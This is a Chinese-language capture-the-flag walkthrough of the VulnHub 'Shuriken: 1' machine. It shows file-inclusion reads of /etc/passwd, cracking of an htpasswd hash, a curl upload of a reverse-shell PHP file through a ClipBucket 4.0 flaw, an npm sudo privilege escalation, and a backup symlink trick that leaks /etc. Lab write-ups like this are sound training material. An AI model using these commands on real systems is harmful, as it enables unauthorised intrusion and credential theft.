Shuriken: 1
来自 <https://www.vulnhub.com/entry/shuriken-1,600/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.149
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.149
8080/tcp(过滤,http-proxy 服务)—— 需警惕
字段 |
内容 |
风险解读与分析 |
STATE |
filtered |
端口被防火墙 / IDS 过滤,Nmap 无法判断是否开放(目标未返回 “open” 或 “closed” 响应,仅拦截请求)。 |
SERVICE |
http-proxy(推测) |
Nmap 基于端口默认服务推测为 “HTTP 代理”,但实际可能是其他服务(如 Tomcat、管理后台),因过滤无法验证。 |
4,尝试访问80端口的http服务
再扫描其子目录看看
gobuster dir -u http://192.168.23.149 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
http://192.168.23.149/login.html
5,下载网页里的图片
wget http://192.168.23.149/secret/secret.png
但是这个图片没有因为隐写而藏匿内容。查看发现index.php页面的javascript
http://shuriken.local/index.php?referer=
http://broadcast.shuriken.local
6,添加一条域名解析
打开这个网页需要登录
https://broadcast.shuriken.local
直接利用提示过存在的文件包含漏洞读取/etc/passwd
http://shuriken.local/index.php?referer=/etc/passwd
再读取apache2的默认配置文件/etc/apache2/sites-enabled/000-default.conf
最后读取到密码
developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt
7,密码9972761drmfsls成功登录到网站
是基于 ClipBucket 搭建的网站。ClipBucket 是一款开源的视频分享脚本,常用于搭建视频分享、托管和流媒体网站 。版本是4.0,现在检索漏洞利用脚本
阅读技术文件,查看如何进行漏洞利用
一、背景信息
- 产品名称:ClipBucket —— 一个开源的视频分享平台(类似 YouTube 克隆)。
- 受影响版本:2.8.3 和 4.0.0(漏洞存在时的最新版本)。
- 漏洞发现时间:2017 年 9 月。
- 漏洞严重性:Critical(关键级别,能导致服务器完全被攻陷)。
- 修复版本:4.0.0 Release 4902(但修复过程多次拖延,且部分问题未完全修复)。
二、漏洞类型概览
文中共披露了 三个主要漏洞,全部可以在未认证(即无需登录)的情况下被利用:
- OS 命令注入(Command Injection)
- 攻击者可以在上传接口的 file_name 参数中插入恶意命令。
- 这会导致服务器执行任意系统命令。
- 不仅匿名攻击者可利用,已认证的普通用户也能利用。
- 任意文件上传(Arbitrary File Upload)
- 通过 /actions/beats_uploader.php 或 /actions/photo_uploader.php 等接口,可以绕过认证上传 .php 文件。
- 攻击者可以上传带有后门的脚本,从而在服务器上执行任意代码。
- 登录用户上传头像时,也能利用这个漏洞。
- 盲注 SQL 注入(Blind SQL Injection)
- 漏洞点在 /actions/vote_channel.php 和 /ajax/commonAjax.php。
- 参数如 channelId、email、username 未做严格过滤,拼接进 SQL 语句中。
- 攻击者能执行任意 SQL 语句,窃取数据库信息。
三、利用思路总结
文中提供了 PoC(概念验证),展示了攻击方式:
- 命令注入:
利用 curl 上传文件时,在 file_name 参数后拼接 || <命令>。 - 文件上传:
直接伪装成正常上传请求,将 .php 木马文件上传到服务器。 - SQL 注入:
通过 POST 请求,构造恶意参数(如 ' or '1'='1)绕过验证或延时盲注。
这三个漏洞结合起来,攻击链是:
SQL 注入 → 获取管理员凭据 / 敏感信息
文件上传 → 部署 WebShell
命令注入 → 系统级控制,完全拿下服务器
四、安全风险
- 服务器完全失陷(RCE、WebShell、Root 权限获取)。
- 用户隐私、数据库数据泄露。
- 网站被篡改或挂马。
- 进一步作为跳板攻击内网。
五、修复与防护
- 官方发布了 4.0.0 Release 4902 修复版本,但修复不彻底,补丁进度拖延。
- 建议:
- 立即更新至官方修复版本;
- 临时防护:WAF(Web 应用防火墙)、上传文件类型白名单、SQL 参数化查询。
- 最佳做法:最小权限原则 + 安全代码审计。
六、经验总结
这个安全公告有代表性,体现了:
- 多漏洞叠加 → 攻击面巨大(上传 + SQL 注入 + 命令注入)。
- 认证缺陷 → 大量接口未做权限控制,导致“未认证攻击”。
- 补丁管理的重要性 → 即使发现漏洞,若厂商拖延修复,风险依然长期存在。
8,这里使用Unauthenticated Arbitrary File Upload(未认证任意文件上传),准备好反弹shell都木马,并且打开端口监听
构造语句进行漏洞利用
chmod 777 shell.php
curl --basic --user "developers:9972761drmfsls" -F "file=@shell.php" -F "plupload=1" -F "name=anyname.php" http://broadcast.shuriken.local/actions/beats_uploader.php
访问http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/1757537827e50246.php 触发反弹shell
9,创建一个可交互式shell,信息收集一下
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l看看提权操作
前用户 www-data 可以用 sudo 以 server-management 身份执行 /usr/bin/npm。其中NOPASSWD 表示不需要输入密码。这意味着 www-data 虽然权限很低(Web 服务用户),但能用更高权限用户的身份调用 npm。
npm 的风险点
- npm run <script> 会去读取当前目录的 package.json 文件中的 scripts 字段。
- 在执行脚本时,npm 会把里面的命令原封不动传递给系统执行。
- 如果攻击者能控制 package.json,那么就能在其中定义任意系统命令。
构造恶意脚本
touch package.json
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json
解释:
- 新建一个 package.json 文件。
- 定义一个脚本 "dev",内容是 /bin/bash。
- 这意味着只要有人执行 npm run dev,npm 就会启动一个 bash。
利用 sudo 触发
sudo -u server-management npm run dev
解释:
- 使用 sudo,以 server-management 身份执行 npm run dev。
- npm 查找 package.json → 发现 "dev": "/bin/bash" → 执行 /bin/bash。
- 最终效果:得到一个 server-management 用户权限的 bash shell。
提权原理总结
- 核心利用点:sudo 允许低权限用户无密码执行 npm。
- npm 特性:npm run 会执行 package.json 中的脚本,而脚本内容完全由用户可控。
- 结果:攻击者通过伪造 package.json,让 npm run 执行任意命令,从而提权到 server-management 用户。
10,提权成功,在家目录得到第一个flag
上传运行pspy64进行提权信息收集
https://github.com/DominicBreuker/pspy?tab=readme-ov-file
python -m http.server
然后靶机下载下载程序
curl -O http://192.168.23.128:8000/pspy64
给文件执行权限
chmod 777 pspy64
./pspy64 -pf -i 1000
2020/12/03 06:04:01 CMD: UID=0 PID=2772 | /bin/bash /var/opt/backupsrv.sh
于是查看/var/opt/backupsrv.sh
该脚本是一个简单的文件备份工具,功能如下:
- 将/home/server-management/Documents目录下的所有文件,压缩打包为.tgz格式的备份文件
- 备份文件存放在/var/backups目录,命名格式为 “主机名 - 星期几.tgz”(如shuriken-Monday.tgz)
- 执行时会显示备份开始 / 结束时间,并列出备份目录的文件信息以便确认
11,删除/home/server-management/Documents文件夹,再做/etc到Documents的软连接,压缩成功后将其拷贝到/var/www/main,最后切换到www-data用户
rm ~/Documents -rf
ln -s /etc /home/server-management/Documents
cd /var/backups
cp /var/backups/shuriken-Sunday.tgz /var/www/main
http://192.168.23.149/shuriken-Sunday.tgz
下载压缩包,得到root.txt